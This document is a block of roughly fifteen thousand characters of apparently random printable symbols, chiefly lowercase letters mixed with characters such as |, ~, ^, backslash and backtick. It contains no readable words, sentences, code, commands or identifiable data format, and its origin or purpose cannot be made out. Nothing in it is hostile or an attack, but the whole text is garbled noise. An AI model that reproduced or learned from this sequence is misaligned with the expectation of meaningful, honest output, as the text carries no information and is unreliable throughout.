dpl|vxxhjnj|trnlh|~v~xhnhzvvvphtxjvvrzhrd|xzznfrvrvxhvjhtvt~|nl\rt|hpllpnttvtbl~zx~~xfjxnzvfzltjnrtzrVztzvjpntrjzvvrn^~~zxdfxlxll~lzbjztxdrn~xrzjlpvjvx|ptzZxvthlhpd|v`~bhx~|dfrv~vltbxlfpv|Vpt~trpbp|fvhtp`t|pjdlnlrvXzlf~lt~bhft|xdd|ntpZ~HN@V^jpxfjtXz^|tLZNr6VPrDPRVXlt^4vttZnjhnrr`\hl>t|jv\rj\TrrfHh|l\fjh~xxn\`~X\d|rpbvXnVntldT^zdddZ|xxhh`Vzf^`fxv|l`^fd|tr\^hhbb\plp|tl^^rvn`Zfnrj\b`xpV\ddxfVlVpfXVpv|tt>fxhn\\`Hvzfhll|x~|nZPlv|`rVvndbVtdj~dVTn~nn^hbbZbjztxzJlbz@n\rT^8x|f~dxzdxvbZz^~rJnPJjhRfzb~|Ppz^X|rlZzr\pnp~nhrtbPxpZndv~xzx|fzp|fzZp|l~hvrbtrnnjlj|nvbr|fjzVxzf~~xlrxlh~zZnrx|~~zjljtnt|npl^vz|xjxtjt~|~zbhtb|tjvbpzvptnnxfptPvbvJrTXf|\f^jljxbvxr|rxVftxtrXjzpv~n\jlnvx^hhfz|~rzdd^t|njdhpjrnzxjpxpjdv~zrflxpzrjnjpxzrntpflnt~x`rtpxxvlnvzrzphtp~vvvvptnrx~zxtl`|tjphntvrxpprdn|zvl`h~~|vfhxtn|rnvljtvxn\n~v~vhprtj~tthjnrz|p`nxv|~vrpjln|xxxfljp~llxlhzrxxpfjxzrdrpvt~|xpzlhz~~~|hfnztx~xjrlln||vvffv|z||pnjtjttrzlfhvxdjxrtz~ljlvpxtr~lfrzz~tfjxrtxprrrfzxxhhpxzv~vlpvjt|tvrjlx|t~hpnxtv~npndx||x|ljhvzt|jlnnlz|rvhfpzx~rldzpxlrphht~|xvjbpz~z~vjjrjvrxjhjrzztndpd~trPL^4nblhzfxr|\jdn|zVn\JXj|@jld6ndt^rF:T^Tvl|jlP4hfznTftpRfZjL~vhlt||r^F~fv>rTnlrxZVdvX^|vhdprp^rvdhHR~~|rbrvl\`zdBhdvndzvRbptLnt|\\~v\f|bbVVrlxhnV`ZPzfxn|l``nttTbx~^`njz|\fv|jfXj|hd`hrrnj~TBvntxRvdZxvfHhzlf|hdbxpzZ4Xbtv|Hx||``f|jlb\b@~v`^p||jhtx^tbj||PD~lvl\vrhRf~XFzvvxvbtlBz~d\Xtrr~\zxZhjTxXrvRxx\`p|Xdvp~p`ppt\|ttt\dvnthhlnfdxjzVVfxnjnvrNtxrpRdzzh~zdvNp~Z|lftvZx^pvrpplZpzr\bznR|r~VV~nz|hdxTjtfVd~nv|^x~pVppxrprTzz`tdp\tXtlnhhjvjd|~bXdjxthbjxn\fVZxjZr~JprhlTrprp^vl`nrlznNlpdfn~tZf\Vjdxh`||ptdf^lfzrbdrrttljP~fvfbx`n|j`Xp|fnnbfdxXxr\nfhztflnl^h|^z~|Z~tt\jjpJpx|jnvtjb|z~rdR|nvfh~htdtf|Vdrj|VFvpthdVrlb^npBLNzvfn@xlbjlz"x`@\ftnJr^P\npzzdl\lR\N|llhRtT^x|~R|^Zfzv|^v^pb~blt|njjnRjdNbd~txrVvNp~lvnDZrhvxpjhbvpVttxf|~v`fjphrb~t|~ZjlfZ~xdzR\ztvzXz`d|vf\p~d~t|x\hvx~xdzlvr~djdthtz|xbjjxzfjtttbpv~bpdtpzpdfpp~vd~zT~bj~n`zh^nfRr^r~bdtvl|xfLzNzlp~rvnZ~|\~zF`|xx~nl|RXzv~n^xttfxjzjv^v|rhx`vj|lvtdznvpr\`tt|z~vx\tnn~nfblv^|vz|hfjrtr`zvtr|l|p~hZzr|Rnztlzt^pTtvtrtd`xlhdd~hnvXxzdlrv~pR~~pt|d`xdxx~ndjhp~hvrf^|ntv\ttl\rpv|ffn|h~`hflxxdpvbxlp|l\||rll\z|lnbnzp\|xz~Rb~zndlpz|Xfpvz`dtnn^rvzXb||t~zRr~lvrhj~pd~dnnX|zvvh\txbnhdfdbb\prph\t~l^vjvXjx~fxf`r`zp`r`llpzZhjxxh\t\blfldd|Xflr~|bn|jfv\NzZZHj^fv@rjlhdnnd>zzP>RXhnhZhzdhhnv`Z>`|xjzlp^rpn~^Hl~llbF|nnx`z|pfdvn~pJjt|vdlvjn~rb^\zx~jfv^t|vthhhh~n|jphjhx^dnb~~tx^r^t|l|jX~fhlxhddxz|zdTrhbr`pj~prZn|xxtlzjbz~l~jd^n|lXzhxzftnb^pv|~t\\jr`jvbntlvpRplzpRr|rfpnxvh\vx\NvtvX`zbRt|~@X~z|Rfxt\pfjzpd`~~xDdNp~tTrbV~jjzNb~r^N|jz\x`pNVdz\XhntdXzvZ`rnz~Nblf^^xXphbvRn`r|L\^~~`RrNbrZJb`vJ`h\Xr^Lzb^Nnnf|Lt\`rdz|\PvnXPzbthZn^db|tRT~jNdr\xdxjLf~fvFddn~~P||hL~vj|d@vxlfLvd\jb|~bHrzPR|ldbbt~V`pp~LVrzNhtv\npp~pDrvxhPb~|`xbhzjPxvZLtfd`^hbdv~N^p~XZnltn\n|Nr~hfR`xjvfRxp`njbXnpb^Zzh`dVl|frbZft~rTlvdx~d|h\dvvplLv~ll`v`lnr~vj^Z|^Zvfzfzhdff~tvPjxrxfnbln~xdjZvz~jZt`z|xrfb``jJ~ZtZfbTn`>hf~~~zDzZ\h~|^ffldZdP`fbdpdl^X~fZxjf~pnn||`|tfn~xXx|rn|h|t\jfhp|~ttZp|v|xfvnx`z|jpNbfj|vPn|`txvrp~b^vlzhrz|tzf~xZvrn\zxpblbr~\rzzrt~l\~vtz^xrlfznhVzvxvl~|nh`ppbtfpjZhT`tlv\t\T||Xjl~b~rfnb`\btpnx|ffjzRxzt~|fnvzXnnnx|Zld\VNnpb|H\hvz|RbhdbhzT|dfvNlb`|bjX|Jft`x~Tjl\p`xpRx|h~htnp^|x~jZf~pjtr|ztb\vbn~j`\z~\rzhfz`|^vpNtrlnRzvTnZxdXvXdR~l^ztTjVnZ~b\vXfXZlbT|dfdjZf~flf\\zhjljd^~Zjzft^lrbx~^zpbrrj~|Rjnxnd~r^nlh`|lllbzpd`vnX|npZjnhfh~fjdr|\jvxh|Zttbvtrdx\npndrjznhl~zbznhdl|b~njjtp~zdt~jr|hxfrpxntz`xd~vzdnrn|lv|ztb|rx~vbvrvvlxvnxb|t~rbj~rnlrrzplxvp~hltr`zn|xlvzrp~d|z~npjptvvvrlrzl~x|jphztnxjtdznvjj~nvt~lxzlrj~b^XZFpNn`fvzbtlbzrlhhvvn`Z\~h\LdzdjX~pbp~xjbJz\vx~n`trvfv|Btptpnxllbztvtvzlvjxh\zv||pn|fvXvjrxdxrzhjtVrvp~~j`z\vdhjplxzVxptv~lz~rfxxhrdfrzxp~tV~dr~trxtpXdrdhtnrf``bvf~|~bb|njvTr|nnxlj|Ppvlzn^nftndjVdX~rfl`Bj.~tXFDhP||PpfNfr\hrVdnr^|>xhf|nJthpzT^x~X`NVfpdxrXLlzF\zlj^vb\f~hxhFhn|hBpX`lnpVP|t|bNxthp\j~dj`lzv^Trnx\btnjrdpxTfx~Ndrxn~zjjrjX~z~bTh~|zr`jjpR|rxVX|~r^bbxplzfjr^bv|~Vhn|v|jd`x^|~lzh`ltn`^drtthll\|ZhRv|z^bnjl~~tlnXh|jrnJzhtrhLhn~t`rf`ppznZ`j~~VlhbjzZr\lvpp|p^hrhx~fb`hz~tRTvpjRpnjzvjvj^\lthPpptfbn`n|zpfZZ~PbrrnjnvdVpvnJdpxzPjpn^rr|^LrtlRfzlttfppdN|~xVPv~phXf|^ltlxvPVzzNZt~htn^rvJrtpnJ^nzR^ztVndfHtjbP^vb|ThX\dVJr|jdNfZj|TxPZpvXHzd~bRzrRnjljPRdLLjb~Vn~bJfjlB\vjFj^\~dzdxt0zbnfnVv~zrVx zvTnPxNlhZfrlXn^\xdxhn\ltnfxZxv~blbjlvpzX`pzl^d|rRxndvh~hzt|njvxnpvz`tz~ppnnnxxxhfvj|ft~fflpxzzZzt|trdtt~l|pzj|zV~xvrddx~`hrljb~vrz^hxh^l|lhzlfVvlhxdlZzvhfzXx~hjtZx~XldnnX~T~`fttZl\vf`vX\fj\b^~\ldZXh\fxbhhvpRdLl&|<.`hT6~8pznrnX`~Dnp\xRXrjdFz\fTbZVrJVjXZTlX\PzNjFvtXznLtxZp@rxX|rF|jHpV~p>jRZN^XdVTP`\LNdTNVVRV\NR\bN\X\ZdLf\hJlVpzTl|Tvx\rtN|zX~hZtrPlZ|\Rn\\ZbZ`\XZj^N``fZVPpZ\Nj^ftT`T~|V^vXxRrnVj~\rRjr`tRvf\|tZlRxjlnV~jbjbfVhrdVdrbfvhbfx~\bzpx\jthvftxxZrvvxxRv|xnznfpxt^vttjZ|ztjfrtvjntl~fd~~t~^lt~zp|lppzdr~|pzx^t|ztphnp~hxzhzld~vtllpv~ttthvnnztvzbtpztrtndzn~xnpnf|t~z~hnph|xp~hphnr|xt\xpr~|tlvjnl~r~vtl\vvz\tnd|`jhPx.rphhdp~Njt^hvt|hL||\bv|\~zJxJ`jz|dPdrlL\xphxflltVfnH`|rt||RbnzZznhvBj~dfRl~xbz\nfJlXNf~fpNjzbb~bxZLznbJj^frR~v\^tfRFhrXPzXjl\rR^hxJDdxZ^|tJlhnnJX`JXpVx^nrBnfxjDjzXFdfP^xdHvxb^Fp`NJnZ8P\DjjXjL|v\dTpnNZdjdPxf\^~prtz:rtjxNd|~hPhzp|rxVj\z\f~hjjvnj\|Xtnbj^n`hlZ|\tNjfdxx`|~hZrhnxnVfrlZfbjxzxPjp|`bn~^Tv~fbvftTfvfjHvz`p|ZtHlxnpxLr\vv^trZxlthLzx^|j\vrRtdv\^x\dZ|bbjp|NfjT,~zPdlZz>XPHhfbh`njXbrrnNXBvh|tZ~>l`xrfhnn~pdlpv\njBdv~vZXvrtZ\h~ZdlxZVp|vdZfxbxZ|hXl~nv`h\zhjXxb^fvt^Zjx~fLnhzT|n`rnxprnPrrhVxjnlltvflTr|^\~fzzd|lfhdvpxThp~Zpnftz|l|nhTxzzhVvjxxlpjjh`~vxX^|t~\lljppzxjnXt~~|r\hjzx||rpdn`||r~hZtrzlnfpphvlphlrtx\rp^z|njhrTztpxjZrjpxvp\bzbtff|bnzxpvd~\|tz~plLnplbnd|nz~nftt\dvpn\tldxjhpf~nr`f|v~tZbtlxzdrjjbnx|lVdx|z~zh`nrd|xlth^rz|p\ftztxnlxddr~xdbp|v|ldnthrztxrZl|zzrbdrxhphtlZzxzjVn||trbhzdbht\XvlfVlpht`n~`dh~`ZpptpVr|`rvdt\btv~dZx|f~j^~jdllzn\^l^d~jfzdzzh^jzpvPlhvx\|rf`~tp|jRxpzfX|rhhlrznbVp~XZ~trt`lvr\frx~zPdxxxRntvftznpzpNz|zvjTrzzjnhnxnVxvr\X|~n\fnzjdthv~Rhzn~Vfxlp~lhvzRvzjlRn|lnddzv\njbZzlbddvhzdh\jhxZdlvt|pZn~`xz`n\nzpvlj\z~dj`ffvjzfb`nzbbdrdxtfhl|zxrZll|x`vnjnxzpnhnhvxFhzbl~Hh|d8P\T"RzpFdj\zdRLvnphxTvftdTVrxjvV^tjhtTh`^jnznnbbn|Zhpbld|l^vPrrtjhvxhvtphv^d~nzflvl^v^ltvr|`bz^j|tnVrhtvxznrpxJrdh`p^\zpjtfp~z`xzxp|v\~r|~jnbzfpZ~jrfx|zzj|~jxlj|txvpnfzz|hthvdhnlr|ltznfjdjx~~jdpphzt|jZVrx`nrzjp~jvtlfvrj|~bvzxrd~vndX~~t\vvftxd|P\LRH`\~~nxbXzn~zXnr\zzhl\fztnZrtZVVhZjv~jVvdxfxNjdnf^xp`lz\~jTr^\~`bf|br\jnfl\jndpTzl^pbpvrV|hhhdz|`blpxh\zZz|\^np`X|bjxdl\lrh|^rjbnxfrHxvpjdvxpTthzbP~nx~dRxnfbjvdZrfPdnh`f|dhdpzThztjxTl~VtvlfrVvjxlTr|f|jbn~zTvln\\z^h`nljp\xb`zdXjtjjxpX~X~ldrbhjtxdf~b||p`l`|b|jl`xjZlljfv~dfv|hxr^lbz~Vpjl|nv~tj^nxj`vfvhlhn^lv^dlxt`tvphp~pz|rbhrx~TztpxrnrznvZ~t|vl`xrzvnlvnpjnpxfbnx~\zltvlvvvnv`vx~zpbrvrzzrnxhvdpnhbnvdvntnntvtthnx||~|^vtp|rtrvhzbtrhdzp|vlnrnpppzpzhbp~zz\vprvnvrtpv^z|zv~r`rztvxvhxlth|pzzzbdvtVvl8V\lrtTlnZ$TNvF^|vxtvlnRhT|p`t~\ZhNlvtvnrdnvV|`lxbjnXhprjl~lf`b~dpnfxntxprVt~vfxXhzxl~jdllTldvlTxvfjPxhfphhxphh\~hhlnh`~|jpjhzdnhhvdh|f|zhdx`p~jvjbx~j|xdnjlxpx~jfxtj~rbv~rlvf|`ltnzjf~lrhj|vhtlr~thp|prfp|vhx|hz|hhp~j~r`rpp~rfvxpb|rbz~xfpvhzvXt\pz^vrtrrlxlbzvpnxxvTx|xpvvXdtpphnxvhtzp|xxbhxn~|tj~jn|vpzhbj~jpj^txtzvXp|`p|\jzdtzppdj~~rlzpln|xt~zr~rppxvtvxlv|tfvn~ldn|pzxbl|xn|vlt~pdzxnvrfttp~lfz|pjnjz~jjplfjhhjj~zhjlp|fh~np~hp~xft~lttbrlxtbttl|vhv~pd~tl|hd|rnldz~nnll~fhjp|dl~fp|flzbt|jpx^nzfvxdrtbvvfxp`zth|nbvndnfzjbnffb~nhff~bjjf~`lhl|bj~btzfnx\rdrr`pxbtdpnb~x`|jbxtfl`zjfr`~dhlh|fdfpfd|bpflvblbxz`jvbx~^vndtxb|p\tnhr^zjdrbj`|lnf^jlfh~fhhp|bf~hn`lxhndrx^nzhvx\vxfvvbxvbztjxn`|rhlhzpbpjxddvhtRrTxxvRp\hBhbNz~.v|f~dr^BHfdj||\v`dJrjtpjlvR~j~hr|jdr`jfvvhbrxt`nnrjhjxx`nf~xXl~zhplrl~prn~rh~~pv~hbx~~z|`ht|xr|~dr^~xzppldtlprjtzlx~rp|rb~|p~pvd|pnz~lx|`vt~n~fpxxtvvvlphzrndttrvtf~llrthfvtzjllzzn~zjn~fvx~pphjvpvphttjxxtp\tpxrlf|vlhpfjrp~|tdr~tn~Zh~t|xxfrvt~bn~xbtpvh|t~Zj\xdptrVb~||bRptbx^npj\~pnjv~npznpd~htrflZnd~jnjxppXj~vrj^|rnXfxbntv||`ftl~Vvnjx~jvtXtrljRpd~ljznRvldZzljl\x~lblt~Zbtj^jvhplnv\pnvxZnxpvr`v||Z~xlrl\z|jj`tnfrfxf^rh\d~pffdz\nnd|\fjt~\jdt~hlt\zhrp`h|bz^plfzzdzl\t~fhbpjnt`~|dh~np|f`|lxdd~|brlnr^jh~xbftj|`rnft~l|n`ptjv`rjl~vfxn`|pxj`|znpjjzxdjptvf`~n|dj~plpjvxv`nztxtbn~tl|~fvtnhvxt|~pZ|xxt~jjrtplttxxdj~xx~hfztttjtpxdp|xv|v\pz~rxtjlvtlzzvrvp`xzzxlhtpzpptpvhl|~r|zfnrzvvznpptnrzzvvtbvzzzvpjlrxlvtpxjhx~zxz|jjptztnplvlnz|tvx`pv|xvvlnrvlx|tprpdv~zzvjfrr|prtjzjl~rx|fjvzzvjlrvlrxnv|bdnxlVhrTtPzh\FtdF|hzpvjt^djVnntpdTbVjnfHbn^|xl\zddvvp^frxn||^njzfvxjxtjfz^x|jXtbzxZplh|\prllxhl~hZz||vznZt|lzrZvldzlp|x\b|xvtVh|frjl|t`pznvtTnzxr|v`pvtb|zptvl`xppp^t|jjvjxz^`rtZb~~jtdb|xXljpvThnzvXfv`|jj|l^v~j~j\lvjvfn~fb|l~ZVtjlTrhd~Xz\^rbnXjnpjzf~\h`|`Vnrxbdlf~ZptTzvnt`hpdRr`n~|bhVzpljflxtfr`z\blnf`~~lxjfzvflhrp`l~xn~\n|rjzhpxphxvr||ldtprrfvthntr~r`frxzdj|vjthp~rbnnxr^nxl|zbn|tfv~ntp\txpznbrzpp~vltxhf|vt|~hdvzxtllvrlnvtxtfn|zv|xhlxtnx~prvlhx|tx~ldvzxr|pnttpn~tr|zfh||vv|jnvvnrprxvfp~zvxvfnxvpxxlpxphxxvv~ldt|zr~rjrvnntpv|hjz~zt~zjjtzrv~pnxvht~vttdnx|tzvlnvrl||pr|lfv~zrzphpxtntntzhj~zp~|flv|pt~ljvxhrtr|tdn|~pvtjlztfzznn~ndt~nxlfn~vlvhplj~|jz~hfvtn~nft~hptlzxdj~ppxff|~lxlf~tftnrtdj~l|xdlrj|~ht~nftzl~ndpplrfxzlj|tl||jb|prld|zjnln~vfflx~~bpv|hvblvhfDnxxhdZhjn~Drvnr>b~Zz@VNFj`r8nRnt\nxxrnPNVx^jnfjv`l^XtfzZrhvb~\fxfv|Tvvxnn|xrRlrtnXjphpfzv^X|vl^|rn~^phbl`xnlrnnl|~Z|zdvhvnnz`xtttvX||hlhfzxbzlrzhTr|~xdrpx|drztz`ntv~bpv|l~vrhbnvbzjxllntvltxlzpf|zlx||npltpth|tpdjt~znzvrnlzvrlp|xrx~lzzf|tzlrxlxpxvvn|nvp|xlxzprxtvzvxdzvv|rlltpd~|vzpjjtzrzrjpxxpzrzlxtj|znt~fvn~zpnxfvltrrfvzrnjtt|drRtrvXjnnzvvxpdh~|v~Xpvdx|n\rp~ftv\vp~`~xnnjlzpxr^jz~`lx|r`tv|h|ztjpdz|hxtbt~fplprVnnpp`~|xbvbrph~vbxjd~x`~lnnn^~vdz\nzxb|lhzhp~hhzdp~tbx`v|dntpd~^xhltbrhprdp`|vfjjhvZndlnhvZzlh~t`~fhxnb~r`~`t~l^zlfbnh^fnhb|`n\nxl\|dz~Zjtjh^vxbl|bxz\lpjrzT~xflphxxX~thvn^~rd|ld~~t\hrxh^xvf`pzl`ll~bh|nn^p|lfxhtzZtvrjv`t~dvtfnz`zvlrr\~|hvhlnz^rjnfh|xdhjtrdlhpfj|x`~`rrlhtrbxftnfzhplltnj|dz|pbrlt|dv~pnf|jx||hltlxhr~ppj|jr|bnlxr|bxvtprvpxxthxrxz~vbzxtxvjrxpxdtzpjh|x|r~~jprvvnpvnzljv|rz~dtpzzpttpn~hv||nxtjrv~xtxfth~^pvdbfxr\`hHjxVt~Xv~n|p`dXjV:`|v&z:fvxRj|njddfhzPj~ZbhLlbpj^tt\xhj|zNz^pd`fnbTxZZv|nPp~xvjbxvdZxvrrPtz~hpVrr\zlpdxVthndbt~`^xjpRz|jrVrxZzhrpnjzrf|Zr~|dv^vlbtnxbxX~lnj`ndpnjx`~|ln^pv|\~jnfhpz|`z~dtxxfxfnplprx^x\zthdpl|f~vn`vnhljnxh~jpdvrt~^tf|pzdrllvrz~zjfxf~tbllttj|ltdrr~br|jtx|l~|nnlxrzxfrhxzdjrlxl|zn`vtzjpbh|`lzRjfhp\rxr|6pdDdTlt\vrp|prt~rtvdtrrxbtxjfzhjl`Vn~tXbjz`xtP~rzvv\rzvxvTtfzpxlnp^p~zjf|pt|fnrrrnlz~td`zrzZrxrtlhtv|Zrxzvx^v|vtxv^~vvbznvtvT~xp|djv|r^rntf\xp|\d~|zdfppbf|jZlzvn|hfrht|tl|xZ|vphdpzbppdlb~lz`bx~jfhllhzdtXpzftdfzdzl`|`vnjp`nb|tl^z^`lhfr^p`jtf~^ldj|^zhdnjpvRzhtpdtffntvjXff`lnnbzzvdbzr~~Zjppx^vxjfpvnxxRtl|xpZ~ttfnnx~j\tx|f\xxn`rxvn^tvzZhzxp`nvzjp~ptxzZpxzrvVxt~lznpn|t\~tvh^v~nhhnztdvrn^h|l~`nlppvhr|bv|lv\rxvtpnhr`~tfhfx|n|jjhvnxjj|hp~l|z`rpxptrfn~d~xh~nfr|rxnlhv~j|nfhlz~j|~\vZRpn^n~dd|ZBnxpbv`rhX|Xrtfp:vr4`~fVxntdjbbL|lj\pfx|l|v~vtf^jpnfr\~rnphvhnr`v`dtzVrz\~xjz`ntf|~|nplrrnr~f|Zrzzjvptjh|th~x`tvznrltlvpxvjzxZ~xrldtfzhzrlfhl~ltzfhzl|hjhnrv|\x^xxrjnlbnz~zj`z|h~jdpfpf|nh`tnZn~rnrzhx|n^rvjx^nhrxx`xr\zjrvpV~rllb~|hh~njxl^jz~``trfdrx^h|pt~Vhzjp\txxfltnv|Hzz`ljzlv^vtxz~T^bnXJv<2pZPrfzjvDXRdbxnbtvv^djvbdpnvVlb\v~blxtj`lrnJ|ZjXjzRfjprPvb~|h^~ph|ldpfb~p\|\t|njpd^br|b^|d|b^v^r\rvdb~lxXpvptxbxzrhtxh||tbvhrxv\vplxfr~zp^lpjf~zhnjprh`d|^frrn\xvx`n|jttZnvpx|Vt|tjrrnxvvXzttvl^v|vlpltvjd~rtv~jZzxt`ln|rbvnn~blzrzdlrxvtznrl|dtz|lpdxtr|npjvvj|rpznfxz~vzhnpt|jtxhzhnzp~xhnn|xx|ppjxlt|ptrbzp~vhrjn|j|vhvjlz|zzzdlpv~v~ptfvjt|nttdxl~znpjlzrzzprlh|z~v~fnnnt|rxdzjrvtxrdtrz||vlpltp|x|rrp`|x|~vfnpl|ntvnvbn|v|zdjtvzx|hpjxhr|pvtXvv|xnhhpzj|rjvlb|vtf`lvnnnb|fjjtx^jrtzhdlzpvtbxhtlllxLv^xN~dTrdfdhntPVb~zf.0zHdf\t`l\>Xtv|N`jz~VtzLvlzFttp||l\jp`xlxzp`zt|~d`ll|pbfpn`n~zpxpJpjzvZrhnptpvpnTl||^Xpj|hnrbxtP|tp`Vz|n^hf~r`|lhXh|nz\hn~tv~pdttXzzlnZjtnxrfZv|dldh^pl~j`bzjzjh~`ffxZfnvtzr\p|dzxd~pZrzztrf^vjn`|hfxnv~jdbnz\bnjfrxddpzrznTpj~hZ||fdP~^^hv`hjp|T|rP^ffvDlll|f|jVljhhpLfvz|Plzfxbtl^z~~Zdfx~xhfpd|lfxttfdrxxbnpxnzllzpXzx|~nVv|xr|pfrpr`vvr~d\|ztbhrvplrrtt\f|t|Vlx~tvzflrx`xxp~lZrt|n^jvzjzljzjb~t|Zhp|znpjl|fpzr|x^nxztxdlp|jz~rjzr^xtvjdl||nvjl|ldnrdft|lnflhr|hxzbpxxpxfhtnt~rfxx`ttpjfjzlxfb~rj|jrhhnjldhtr|bp|dtxjtdfxvv|l`vzhxnhlhn|nzthbxp~dj~llthz~pfjzp|`n~jt||d|vlftrt~~r^v|nxrdzrjlpt~vl`n|ff~pppjtzrdhr|~z^lrrx~bvvpjrvrxxt\xtxznbxtrlpnzvlbrzzddvvpdrtzhh|rt|~^lxtr|btxvlrxnrzx^vzxrr`tx|n|nrr|pdvtxffxzxpdntzpfvrx\p~|xpzbnthvvpn|v`vzvrr`tz~j|pll~tb~lrjdx|ljjr~pnvjrdn~|jzdntprzrhxzdxtlrfrznxrlj|xh||nnlhxj~ljntnxfthn|zj|hnrrnztfvfx|pbj^v\ft^~VtpdhL|pjttT|j>nr\`Bh:l`z\`^hBX^Ttvt|LhnZnZpD`~h^X|bt\d|nb~zf``f~jhfZZdbnZ`zj^hrvnntbtZvx|pb\`vl|hV|r^lhd`jjffZtn~^j|ZvtfphhjtznXpzb|`~dhlxlrrV~rrfjtdnpv~vfdb~tz~bh|b|tdfldlt~xpXtrv~~tdtfln|r~|jnX~zvxdftb~pn~lndht~~x^jvl|dxhjntv~tnV~ttjjvfnpx|tn`d~x|`f|b|~f~jlblv~|rXtvr~rdvnjnxz|plX~tb^pvxvvvvhdltvxbhf~jj|R~~\lx~t~zLjxxr|fjjlnzxz|fxLn~~dhvrnvhrpnd`zz||T\tvZdxnftntlxRjplJr~nll`v\pvjVxzh`fzzdtjnZjjbdtjnnhv|\hxl|Pj~nvtb`|~ZhdnZpjzlVhzdvbfh\bzb\lzjpTndlx\z~\bzj|`ZvdxnVt^pjpr\\lz~\^xd|`nf`jhrTdrr~Vr~ld||h|jVrtrrPthrpdtfZnz`T~|pvd^|vdhjv~v\\~r~Rf|pptbrvrVr~rzrRptr~vZrtr`rrt~hRztb`vzrjnhtzd`xt~Xd~zxnbln~bpxltVpvxr^lxzh|znnzpZtvdbrzhnlj~hhnx~`hz~pdjlnpzfvx\t~zpnfhvnzpfxrf|trffr~pjlb~ppfrx`ptpvhfnrz~vdrtfzznjjlvptpbzrpnrzdnvzd~VVhvHrjfzrjddj~ZhL8hr\tnlpfdp|n`|N|tlbf|`|blv|~xPvtdhfzlhlljz\R~`~vllvlpn~pzrt`nvtpbr|nrvb|~l`rzxz`T~xvxn^hxhh|tvv`dzlv~fbxnpzltnpbr|txpdrxp|pfl|hn~htzfbxrtb^xtxhpjt|^jpxbdxl|jj|phvrr|rZx|vznhlvxh~jnzfjx|t~~j\v|rrlllthjzjzZlvzvzhfxvjzhn|lbntzl`nzzlthfhdj~|ddrrzl\vvnlrnxxbj~tpzf\vh~jblhnxpzphrt^\rhf\b~dP|hht>zxf||vxlfVntv~ZV||bpTzv`rbz|fVzp\dvxl~jd~hj|h|fjlvttVp|b|vhxh^|^|tXnjpl^f\ph|^btjjhx|fjnrv\fzp||Zlzhxzbp~rXz~ptnXrtltVvzpfphzfXzjb`xnhn`z~dfnn\^pl`fzbplhvZljvz\fzjx~`lx\x~lvj^rxhn`pjhxd|~h`~rnd`zlllb|`jplz`blvbf|xfpjltZpjzr^fvf~bn~jbv|jzjZvvjn`nlfzdzzfb|rpf^|~npljxzblrlxbf~lxffthtjt|r`p|pxrbl|xj|fr|lhxzp~|n^xtvndtxnltnzxfhrvzhb|znzjnxphlrv~t`n|r|vhl|pj|~jvzndtvxzp`txvnplpxllxr~xhhx~rxjjvtnrptvvbp|vvvdntvn~xlpxlhxzr||pbv|tv~nhrvpjxrvxdjzxt|hjvvntnrvrfn|xv~t^rxztzvlnxphz|rx|lftxv~ndtvrlpptzfjxr|dhv~ptljxtjrrr|v`n~|vvtdlvxh|znp~jdv|n~n`r|rppjrxnfxpz~dhvtp~ldv|jrplztdlzjjlvf\~\d||Zh|lp~LpvrpZzl2XPdr\z@zlzFhhh~VTNZnXZF|n,fnVtpfRvL`\pvdnxZl~Lv|h^pVR|thjtX~x`vnZ~Xz^dtpJ|hdxVpzPXdblzbd\hl`lXvz^xfpZXbfdlvZ|vnjl`|^nbj|~T|hnpdlxvXhvxjdzhn~htrn`dxdfjvpZzxxllplx|vdzpntvZ~|lrpjjtxZf~vhdpxn~fr|zljzlz~~hhprt~\~~plftn|v~X|pvtpd~|plvrjvpdh|xj`pxn|^|zrlhxpv||^tvrtz`zpnnrhvz^xjzrl`vvh~dnxnfjr|hfxnp\vvpdzft|Zrrplx^xxdvrbxv^znlvtVzftfvv~hXtnv|XbfrXdnz`F|~ZPrbVjzJl\^rf|fftRv`rx^fzd~|lbhXR|`lzt\n\\d~dd``dZ~dnTn`^~^j\pr^pXptfd|TxXzl\nv\rPvh^rV|b^rVh^z``pV^ddd`Zbf``Zn^dz`dVvZbx`t~TrvZr|ZxrZrp\zRxjfzlZnVddjVddhZbb^jdX`nXf|bd^nVf`rRhxbp~TxxZprdtvPztbznXzn^~l`lVjh~b\p^`h~dbjfZdfj\jdh|dnTr|jjt\p\xtfntZzxhvl\zzdfjtn^rfx`h~th~dhzjjlh|^prhx^p|fvpjfz`~fpndt~f|ldnvftfpfl~|b|jjtnp|pb|hrrjxfp~lptph|~f~~lhlntjz|pjlvn~vhrlp~|f|zhprtrttdx~j~~pj~nnrnxpjl~|l~xjjlp|dzzjpptpxtbv~lv~tf|vjpzrppph|j~~~ldnrthz|pjlzp~xdnpp~|dx~hntvlvtbxjx|pbvnnlp~vjdjv~hdtjxdjllpZ~zXvthjnljvJ~f~dzNxnt|xpZVD^t`lx@t|Xjhp`jnlh^hd~htbtn|jz\Zpjfjlj\l~drzhjzV~Xhhf|Vxtxdvflzd\~dplX~\hztprbRj|TXvpdbrzXffr|`hphvR|l^lvntvLxn~d`xp`p^|h\lv`VxrnZrx|\jpj~Thfz|\ft`r|^xxPxzprjVxzZndnf^xf`Xph``x~h`jfNhlf|^``z\hvZhdtxVn~b~l\frZ^|b^trdhTzpbhbx^^rb\^~`rd\x`n^lzXfjvxXf~\~`jj`tZtRnpj|tTvp\pb~``|pfhTThlVxvDfppXh~rnhNtj|T|V^pl\xbjVTjf\vtjpT~Z\`~lf~jnvpJflh`~fpp^|^j`v|Pf~tj~Xt||X|~dlpZpf||Rnph~t^t~nZzl|`b~tfl`~bphpxbbjt~Vn|ftzbj|Vzdtr\jxfxzXrpb|thxjZzbh`rjfp`f`nnd\pl^f|^ppft^ljz|^jvjv~bp|v^z~pxh`vxhrbthjth~h`rt^hz~nllhz\vjnvbh|fz`ltdx|hrpZ|~d|lbrpdt`|hd~pnf^pjfhzblthz`jhv|bfvhxdrt\v~nvn^pzfv`rhh~xd~l^|rph`~ljnf~`lnn|dbjz`lvfrjrv\t~hzt`prfz^zjbxtlnZ~nnhfzhhph^fhrdbzhrbpz`nltvZpzf|zbpndz|f|r^xrp~l^|rfphzddpldbjtbjxhlhr|Zp~ntx`nxb||bvn`vxl|rZzvhnfvn^vf~dd~plhbjjhl`hpl^hdt~dfx`tftv\n|lvt^nx`xdrh`zzdl\vnjpb|hdrh`f~nj~hbbrhfxbhhv|^j~dx|fjr`zdp`tn|ZtTz|Txdhx~~Hnl|l\zRPbFrZLjNVL~RRZz@tfXF`JlxrTt\xbn~fb^lt~P|^xvHrxP~bxpdprjl~Tzj^Z|t`hdhfJ~~fZ`bzNd`l|`|lXnbj|~R~Zxph`pvX~^|jVvhtZjprdXx|j`jjx|Rjtfrbz~\rlrxz\jtpldrz^xb|rtZpxnv